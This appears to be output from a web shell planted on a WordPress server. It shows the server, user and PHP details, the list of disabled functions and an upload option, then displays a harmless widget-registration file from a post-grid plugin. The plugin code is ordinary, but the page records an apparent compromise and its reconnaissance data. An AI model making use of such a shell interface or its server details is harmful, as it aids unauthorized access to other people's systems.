HEX
Server: nginx/1.18.0
System: Linux vps-9dcdb12e 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64
User: ubuntu (1000)
PHP: 8.1.2-1ubuntu2.24
Disabled: exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sqlexpert.pl/wp-content/plugins/the-post-grid/app/Controllers/WidgetController.php
<?php
/**
 * Widget Controller class.
 *
 * @package RT_TPG
 */

namespace RT\ThePostGrid\Controllers;

use RT\ThePostGrid\Widgets\TPGWidget;

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'This script cannot be accessed directly.' );
}

/**
 * Widget Controller class.
 */
class WidgetController {
	/**
	 * Class construct
	 */
	public function __construct() {
		add_action( 'widgets_init', [ $this, 'initWidget' ] );
	}

	/**
	 * Widgets
	 *
	 * @return void
	 */
	public function initWidget() {
		register_widget( TPGWidget::class );
	}
}